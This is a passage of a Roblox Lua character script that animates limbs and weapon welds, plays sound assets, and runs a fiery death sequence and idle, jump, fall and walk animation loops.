4481 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4482 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2) | |
4483 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2) | |
4484 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4485 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4486 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
4487 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4488 | ||
4489 | end | |
4490 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8) | |
4491 | for i=0,1,0.1 do | |
4492 | swait() | |
4493 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4494 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4495 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4496 | Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2) | |
4497 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4498 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4499 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4500 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3) | |
4501 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4502 | end | |
4503 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4504 | for i=0,1,0.1 do | |
4505 | swait() | |
4506 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4507 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4508 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4509 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2) | |
4510 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2) | |
4511 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4512 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4513 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
4514 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4515 | end | |
4516 | --dmgstop() | |
4517 | Humanoid.WalkSpeed=12 | |
4518 | attack=false | |
4519 | end | |
4520 | ||
4521 | function Die() | |
4522 | attack=true | |
4523 | Footsteps:Stop() | |
4524 | Footsteps2:Stop() | |
4525 | local Fire = it("Sound",Character.Torso) | |
4526 | Fire.SoundId = "rbxassetid://192104941" | |
4527 | Fire.Looped = true | |
4528 | Fire.Pitch = 1 | |
4529 | Fire.Volume = 1 | |
4530 | local Fire2 = it("Sound",Handle2) | |
4531 | Fire2.SoundId = "rbxassetid://192104941" | |
4532 | Fire2.Looped = true | |
4533 | Fire2.Pitch = 1 | |
4534 | Fire2.Volume = 1 | |
4535 | local Fire3 = it("Sound",Handle) | |
4536 | Fire3.SoundId = "rbxassetid://192104941" | |
4537 | Fire3.Looped = true | |
4538 | Fire3.Pitch = 1 | |
4539 | Fire3.Volume = 1 | |
4540 | local Fire4 = it("Sound",handle) | |
4541 | Fire4.SoundId = "rbxassetid://192104941" | |
4542 | Fire4.Looped = true | |
4543 | Fire4.Pitch = 1 | |
4544 | Fire4.Volume = 1 | |
4545 | local fire = Instance.new("ParticleEmitter", Character.Torso) | |
4546 | fire.Lifetime = NumberRange.new(0.5) | |
4547 | fire.Speed = NumberRange.new(1, 3) | |
4548 | fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)}) | |
4549 | fire.Rate = 0 | |
4550 | fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4551 | fire.LightEmission = 0.6 | |
4552 | fire.Texture = "http://www.roblox.com/asset/?id=242911609" | |
4553 | fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4554 | local fire2 = Instance.new("ParticleEmitter", Handle) | |
4555 | fire2.Lifetime = NumberRange.new(0.5) | |
4556 | fire2.Speed = NumberRange.new(1, 3) | |
4557 | fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)}) | |
4558 | fire2.Rate = 0 | |
4559 | fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4560 | fire2.LightEmission = 0.6 | |
4561 | fire2.Texture = "http://www.roblox.com/asset/?id=242911609" | |
4562 | fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4563 | local fire3 = Instance.new("ParticleEmitter", Handle2) | |
4564 | fire3.Lifetime = NumberRange.new(0.5) | |
4565 | fire3.Speed = NumberRange.new(1, 3) | |
4566 | fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)}) | |
4567 | fire3.Rate = 0 | |
4568 | fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4569 | fire3.LightEmission = 0.6 | |
4570 | fire3.Texture = "http://www.roblox.com/asset/?id=242911609" | |
4571 | fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4572 | local fire4 = Instance.new("ParticleEmitter", handle) | |
4573 | fire4.Lifetime = NumberRange.new(0.5) | |
4574 | fire4.Speed = NumberRange.new(1, 3) | |
4575 | fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)}) | |
4576 | fire4.Rate = 0 | |
4577 | fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4578 | fire4.LightEmission = 0.6 | |
4579 | fire4.Texture = "http://www.roblox.com/asset/?id=242911609" | |
4580 | fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4581 | Humanoid.WalkSpeed = 0 | |
4582 | so("http://www.roblox.com/asset/?id=199149297",Head,1,1) | |
4583 | so("http://www.roblox.com/asset/?id=209527203",Head,1,1) | |
4584 | for i=0,1,0.08 do | |
4585 | swait() | |
4586 | Torso.Velocity=RootPart.CFrame.lookVector*-30 | |
4587 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2) | |
4588 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2) | |
4589 | handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2) | |
4590 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2) | |
4591 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2) | |
4592 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2) | |
4593 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2) | |
4594 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2) | |
4595 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2) | |
4596 | end | |
4597 | for i=0,1,0.005 do | |
4598 | swait() | |
4599 | light.Range=15-10*i | |
4600 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2) | |
4601 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4) | |
4602 | handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2) | |
4603 | Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2) | |
4604 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
4605 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2) | |
4606 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2) | |
4607 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4608 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4609 | end | |
4610 | light.Range=0 | |
4611 | for i=0,1,0.01 do | |
4612 | swait() | |
4613 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2) | |
4614 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4) | |
4615 | handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2) | |
4616 | Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2) | |
4617 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
4618 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2) | |
4619 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2) | |
4620 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4621 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4622 | end | |
4623 | so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9) | |
4624 | fire.Rate = 1000 | |
4625 | fire2.Rate = 1000 | |
4626 | fire3.Rate = 1000 | |
4627 | fire4.Rate = 1000 | |
4628 | Fire:Play() | |
4629 | Fire2:Play() | |
4630 | Fire3:Play() | |
4631 | Fire4:Play() | |
4632 | for i=0,1,0.005 do | |
4633 | swait() | |
4634 | Character.Head.face.Transparency = 0+1*i | |
4635 | LeftArm.Transparency=0+1*i | |
4636 | RightArm.Transparency=0+1*i | |
4637 | LeftLeg.Transparency=0+1*i | |
4638 | RightLeg.Transparency=0+1*i | |
4639 | Head.Transparency=0+1*i | |
4640 | Torso.Transparency=0+1*i | |
4641 | for _,v in pairs(Character:children()) do | |
4642 | if v:IsA("Hat") then | |
4643 | v.Handle.Transparency = 0+1*i | |
4644 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2) | |
4645 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4) | |
4646 | handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2) | |
4647 | Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2) | |
4648 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
4649 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2) | |
4650 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2) | |
4651 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4652 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4653 | end | |
4654 | end | |
4655 | --dmgstop() | |
4656 | end | |
4657 | Humanoid.Health = 0 | |
4658 | end | |
4659 | ||
4660 | equipanim() | |
4661 | ||
4662 | local sine = 0 | |
4663 | local change = 1 | |
4664 | local val = 0 | |
4665 | ||
4666 | local mananum=0 | |
4667 | while true do | |
4668 | swait() | |
4669 | sine = sine + change | |
4670 | local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude | |
4671 | local velderp=RootPart.Velocity.y | |
4672 | hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character) | |
4673 | if equipped==true or equipped==false then | |
4674 | if Anim=="Idle" and attack==false then | |
4675 | idle=idle+1 | |
4676 | else | |
4677 | idle=0 | |
4678 | end | |
4679 | if Humanoid.Health <=20 then | |
4680 | if attack == false then | |
4681 | Humanoid.Health = math.huge | |
4682 | Die() | |
4683 | end | |
4684 | end | |
4685 | if idle>=1000 then | |
4686 | if attack==false then | |
4687 | --Sheath() | |
4688 | end | |
4689 | end | |
4690 | if RootPart.Velocity.y > 1 and hitfloor==nil then | |
4691 | Anim="Jump" | |
4692 | if attack==false then | |
4693 | Footsteps:Stop() | |
4694 | Footsteps2:Stop() | |
4695 | Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3) | |
4696 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4697 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3) | |
4698 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3) | |
4699 | RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4700 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3) | |
4701 | LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4702 | RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2) | |
4703 | LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2) | |
4704 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2) | |
4705 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2) | |
4706 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2) | |
4707 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4708 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4709 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4710 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4711 | end | |
4712 | elseif RootPart.Velocity.y < -1 and hitfloor==nil then | |
4713 | Anim="Fall" | |
4714 | if attack==false then | |
4715 | Footsteps:Stop() | |
4716 | Footsteps2:Stop() | |
4717 | Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3) | |
4718 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4719 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3) | |
4720 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3) | |
4721 | RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4722 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3) | |
4723 | LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4724 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2) | |
4725 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2) | |
4726 | handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4727 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2) | |
4728 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2) | |
4729 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4730 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4731 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4732 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4733 | end | |
4734 | elseif torvel<1 and hitfloor~=nil then | |
4735 | Anim="Idle" | |
4736 | change=0.5 | |
4737 | if idle>=1000 then | |
4738 | if attack==false then | |
4739 | Footsteps:Stop() | |
4740 | Footsteps2:Stop() | |
4741 | Humanoid.WalkSpeed=12 | |
4742 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1) | |
4743 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1) | |
4744 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
4745 | RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5) | |
4746 | LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5) | |
4747 | RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1) | |
4748 | LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3) | |
4749 | handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3) | |
4750 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4) | |
4751 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3) | |
4752 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4753 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4754 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4755 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4756 | end | |
4757 | else | |
4758 | if attack==false then | |
4759 | Footsteps:Stop() | |
4760 | Footsteps2:Stop() | |
4761 | Humanoid.WalkSpeed=12 | |
4762 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1) | |
4763 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1) | |
4764 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
4765 | RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5) | |
4766 | LW.C0=clerp(LW.C0,cf(-1.175, 0.5, 0)*angles(math.rad(125),math.rad(0),math.rad(45)),.5) | |
4767 | RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1) | |
4768 | LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3) | |
4769 | handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2) | |
4770 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4) | |
4771 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3) | |
4772 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4773 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4774 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4775 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4776 | end | |
4777 | end | |
4778 | elseif torvel>2 and torvel<22 and hitfloor~=nil then | |
4779 | Anim="Walk" | |
4780 | if attack==false then | |
4781 | change=0.8 | |
4782 | --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3) | |
4783 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3) | |
4784 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3) | |
4785 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3) | |
4786 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3) | |
4787 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3) | |
4788 | --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4789 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4790 | RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2) | |
4791 | --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2) | |
4792 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3) | |
4793 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3) | |
4794 | RH.C0=clerp(RH.C0,RHC0,.3) | |
4795 | LH.C0=clerp(LH.C0,LHC0,.3) | |
4796 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4797 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4798 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4799 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4800 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
